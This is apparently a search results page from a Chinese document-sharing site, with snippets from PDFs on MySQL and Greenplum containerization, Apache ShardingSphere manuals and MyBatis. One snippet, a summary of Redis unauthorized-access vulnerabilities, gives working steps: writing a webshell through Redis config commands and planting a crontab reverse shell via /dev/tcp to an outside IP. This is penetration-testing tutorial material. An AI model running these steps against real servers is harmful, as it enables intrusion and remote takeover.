Kubernetes Operator 实践 - MySQL容器化Kubernetes Operator 实践 —— MySQL 容器化 刘林 搜狗资深工程师 关于我 搜狗商业平台研发部 资深开发工程师 l 主要从事商业平台研发工作,在构建高性能、高可用大规模 系统方面有丰富的实践经验 l 目前专注于云计算、DevOps 等相关领域,负责搜狗商业云 平台的设计研发工作 刘林 1. 背景介绍 2. Operator 的基本原理 3. MySQL Cluster2 Node Node Node Node 商业云平台 BizCloud • 弹性伸缩能力不足 • 机器资源利用率不高 • 服务管理复杂 问题 有状态服务的需求越来越多 有状态服务容器化 1. 背景介绍 2. Operator 的基本原理 3. MySQL Operator 设计实践 4. 小结 无状态服务 服务调度 有状态服务集群 服务调度 状态保存 集群管理 MySQL Operator 设计实践 4. 小结 MySQL 容器化目标 • 快速部署 MySQL 主从集群 • 支持 MySQL 集群高可用 • 支持 MySQL 集群弹性伸缩 • 支持 MySQL 5.5 & 5.7 Master Slave1 Slave2 MySQL 集群:1 主 2 从 MySQL 容器化系统架构 REST CLI Kubernetes Master0 码力 | 42 页 | 4.77 MB | 1 年前3
Greenplum on Kubernetes
容器化MPP数据库Greenplum on Kubernetes 容器化MPP数据库 AGENDA 云数据库背景 云数据库实现方案 Greenplum on Kubernetes Greenplum Operator 总结 云数据库背景 云数据库背景 ● 资源变化 ○ 本地资源 → 云 ○ 静态资源 → 弹性需求 ● 数据变化 ○ 内部数据 → 多数据源 ○ 数据规模 → 不易预测 ○ 数据格式 网络传输 ○ 权限控制 ● 跨云 ○ 公有云 ○ 私有云 云数据库实现方案 ● 全新数据库 ○ Snowflake ● 原有数据库架构升级 ○ Vertica Eon Mode ● 容器化数据库+Kubernetes ○ Apache Spark ○ CockroachDB ○ Apache HAWQ 云数据库存储方案 ● 块存储 ○ 文件系统接口 ● 对象存储 ○ Segment Instance Segment 5 (Mirror) 容器化Greenplum ? + = 容器化Greenplum ● 容器粒度 ○ Segment主机 VS. Segment实例 ● 容器资源分配 ○ CPU ○ 内存 ○ 磁盘 ● 容器间网络互联 ○ 本机网络 ○ 跨机网络 ● 容器化Greenplum部署策略 ○ Master部署策略 ○ Primary0 码力 | 33 页 | 1.93 MB | 1 年前3
Qcon北京2018--《MySQL的Docker容器化大规模实践》--王晓波《MySQL 容器化部署实践》 演讲者/王晓波 背景 ■ 同程旅游早期的数据库都以单库的MySQL。 ■ MySQL的单库,导致TPS最终还是会成为一个瓶颈。 ■ MySQL+DB中间件解决水平拆分问题。 ■ MySQL水平拆分的引入会使数据库实例数量大幅上升,传统运维手段维护成本高,交付能力差。 MySQL数据库为何要Docker化 1.MySQL数据库迅速爆炸式增长后,服务器规模不断增大,快速部署是个问题。 Docker在同程的大规模使用,应用部署环境100%容器化,有Docker丰富的经验 。 让数据库的部署点单化开启 2核4G 4核4G 4核8G 8核8G 8核16G 16核16G 16核64G 32核64G 32核128G 一主一从 分片集群 一主多从 SATA-SSD PCIE-SSD 大容量磁盘SAS 配置 DB架构 硬件选型 机房 A机房 B机房 C机房 D机房 容器化之后的MySQL就是一个私有DB云 数据校验 实例迁移 秒级监控诊断 慢日志分析 资源池调度 调度规则 容器调度 资源池 容器及实例创建 应用交付 资源申请 IO类型 配置 为了保证MySQL的高可用,需要在Docker容器分配时如何保障主从不在同一宿主机上。我们通过自研 Docker容器调度平台管理所有宿主机和容器,自定义Docker容器的分配算法。实现了MySQL的高密度,隔离 化,高可用化部署。 调度规则: 10 码力 | 32 页 | 7.11 MB | 1 年前3
常见Redis未授权访问漏洞总结增删改查权限 由于本地搭建,我们已经知道网站路径,我们把shell写入/var/www/html/目录下: config set dir /var/www/html config set dbfilename test.php config set webshell "" save 访问test.php 利用crontab反弹shell 5555 redis-cli.exe -h 192.168.18.138 config set dir /var/spool/cron set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n" config set dbfilename root save 反弹shell成功! nmap检测 mongo #列出本地主机上的mongo镜像 docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令 docker ps -a # 显示所有的容器,包括未运行的 nmap检测 防御手段 nmap -p 27017 --script mongodb-info地址:http://nmap 0 码力 | 44 页 | 19.34 MB | 1 年前3
Apache ShardingSphere 中文文档 5.4.1数据迁移的实现原理 8.6. 数据迁移 40 Apache ShardingSphere document 8.6.6 核心概念 节点 运行计算层或存储层组件进程的实例,可以是物理机、虚拟机、容器等。 集群 为了提供特定服务而集合在一起的多个节点。 源端 原始数据所在的存储集群。 目标端 原始数据将要迁移的目标存储集群。 数据迁移作业 把数据从某一个存储集群复制到另一个存储集群的完整流程。 可以从 Docker 容器中获取配置文件模板,拷贝到宿主机任意目录中: docker run -d --name tmp --entrypoint=bash apache/shardingsphere-proxy docker cp tmp:/opt/shardingsphere-proxy/conf /host/path/to/conf docker rm tmp 由于容器内的网络环境可能与 由于容器内的网络环境可能与宿主机的网络环境有差异,如果启动时报无法连接到数据库错误等错误,请 确保 conf/config-*.yaml 配置文件中指定的数据库的 IP 可以被 Docker 容器内部访问到。 具体配置请参考 ShardingSphere‐Proxy 启动手册 ‐ 使用二进制发布包。 3. (可选)引入第三方依赖或自定义算法 如果存在以下任意需求:* ShardingSphere‐Proxy 后端使用0 码力 | 530 页 | 4.49 MB | 1 年前3
Apache ShardingSphere 中文文档 5.3.2数据迁移的实现原理 8.6. 数据迁移 40 Apache ShardingSphere document 8.6.6 核心概念 节点 运行计算层或存储层组件进程的实例,可以是物理机、虚拟机、容器等。 集群 为了提供特定服务而集合在一起的多个节点。 源端 原始数据所在的存储集群。 目标端 原始数据将要迁移的目标存储集群。 数据迁移作业 把数据从某一个存储集群复制到另一个存储集群的完整流程。 可以从 Docker 容器中获取配置文件模板,拷贝到宿主机任意目录中: docker run -d --name tmp --entrypoint=bash apache/shardingsphere-proxy docker cp tmp:/opt/shardingsphere-proxy/conf /host/path/to/conf docker rm tmp 由于容器内的网络环境可能与 由于容器内的网络环境可能与宿主机的网络环境有差异,如果启动时报无法连接到数据库错误等错误,请 确保 conf/config-*.yaml 配置文件中指定的数据库的 IP 可以被 Docker 容器内部访问到。 具体配置请参考 ShardingSphere‐Proxy 启动手册 ‐ 使用二进制发布包。 3. (可选)引入第三方依赖或自定义算法 如果存在以下任意需求:* ShardingSphere‐Proxy 后端使用0 码力 | 508 页 | 4.44 MB | 1 年前3
Apache ShardingSphere v5.5.0 中文文档数据迁移的实现原理 8.6. 数据迁移 40 Apache ShardingSphere document 8.6.6 核心概念 节点 运行计算层或存储层组件进程的实例,可以是物理机、虚拟机、容器等。 集群 为了提供特定服务而集合在一起的多个节点。 源端 原始数据所在的存储集群。 目标端 原始数据将要迁移的目标存储集群。 数据迁移作业 把数据从某一个存储集群复制到另一个存储集群的完整流程。 add('-H:+AddAllCharsets') } test { buildArgs.add('-H:+AddAllCharsets') } } metadataRepository { enabled.set(false) } } 对于 sbt 等不被 GraalVM Native Build Tools 支持的构建工具 此类需求需要在 https://github.com/graalvm/native‐build‐tools 可以从 Docker 容器中获取配置文件模板,拷贝到宿主机任意目录中: docker run -d --name tmp --entrypoint=bash apache/shardingsphere-proxy docker cp tmp:/opt/shardingsphere-proxy/conf /host/path/to/conf docker rm tmp 由于容器内的网络环境可能与0 码力 | 557 页 | 4.61 MB | 1 年前3
Apache ShardingSphere 中文文档 5.2.03.7. 数据迁移 38 Apache ShardingSphere document, v5.2.0 3.7.6 核心概念 节点 运行计算层或存储层组件进程的实例,可以是物理机、虚拟机、容器等。 集群 为了提供特定服务而集合在一起的多个节点。 源端 原始数据所在的存储集群。 目标端 原始数据将要迁移的目标存储集群。 数据迁移作业 把数据从某一个存储集群复制到另一个存储集群的完整流程。 ShardingSphere-JDBC 105 Apache ShardingSphere document, v5.2.0 使用 JNDI 数据源 如果计划使用 JNDI 配置数据库,在应用容器(如 Tomcat)中使用 ShardingSphere‐JDBC 时,可使 用 spring.shardingsphere.datasource.${datasourceName}.jndiName${shardingsphere.version} 操作步骤 1. 设置事务类型 2. 执行业务逻辑 配置示例 TransactionTypeHolder.set(TransactionType.XA); // 支持 TransactionType.LOCAL, TransactionType.XA, TransactionType.BASE try (Connection0 码力 | 449 页 | 5.85 MB | 1 年前3
MyBatis 框架尚硅谷 java 研究院版本:V 1.0MANAGED | 自定义 JDBC:使用了 JDBC 的提交和回滚设置,依赖于从数据源得到的连接来管理事务 范 围。 JdbcTransactionFactory MANAGED:不提交或回滚一个连接、让容器来管理事务的整个生命周期(比如 JEE 应用服务器的上下文)。 ManagedTransactionFactory 自定义:实现 TransactionFactory 接口,type=全类名/别名 UNPOOLED:不使用连接池, UnpooledDataSourceFactory POOLED:使用连接池, PooledDataSourceFactory JNDI: 在 EJB 或应用服务器这类容器中查找指定的数据源 自定义:实现 DataSourceFactory 接口,定义数据源的获取方式。 7) 实际开发中我们使用 Spring 管理数据源,并进行事务控制的配置来覆盖上述配置 JAVAEE updateEmployee(Employee employee); 2) Mapper 映射文件update tbl_employee set last_name = #{lastName}, email = #{email}, gender = #{gender} JAVAEE 课程系列 ————————————————————————————— 0 码力 | 44 页 | 926.54 KB | 1 年前3
Apache ShardingSphere 中文文档 5.1.2‘file://component2’ REPAIR TABLE t_order OPTIMIZE TABLE t_order CHECKSUM TABLE t_order CHECK TABLE t_order SET RESOURCE GROUP group_name DROP RESOURCE GROUP group_name CREATE RESOURCE GROUP group_name TYPE = AS ON INSERT TO def_view_test DO INSTEAD INSERT INTO def_test SELECT new.* ALTER TABLE alterlock SET (toast.autovacuum_enabled = off) CREATE PUBLICATION pub1 FOR TABLE alter1.t1, ALL TABLES IN SCHEMA AS ON INSERT TO def_view_test DO INSTEAD INSERT INTO def_test SELECT new.* ALTER TABLE alterlock SET (toast.autovacuum_enabled = off) CREATE PUBLICATION pub1 FOR TABLE alter1.t1, ALL TABLES IN SCHEMA0 码力 | 446 页 | 4.67 MB | 1 年前3
共 311 条
- 1
- 2
- 3
- 4
- 5
- 6
- 32













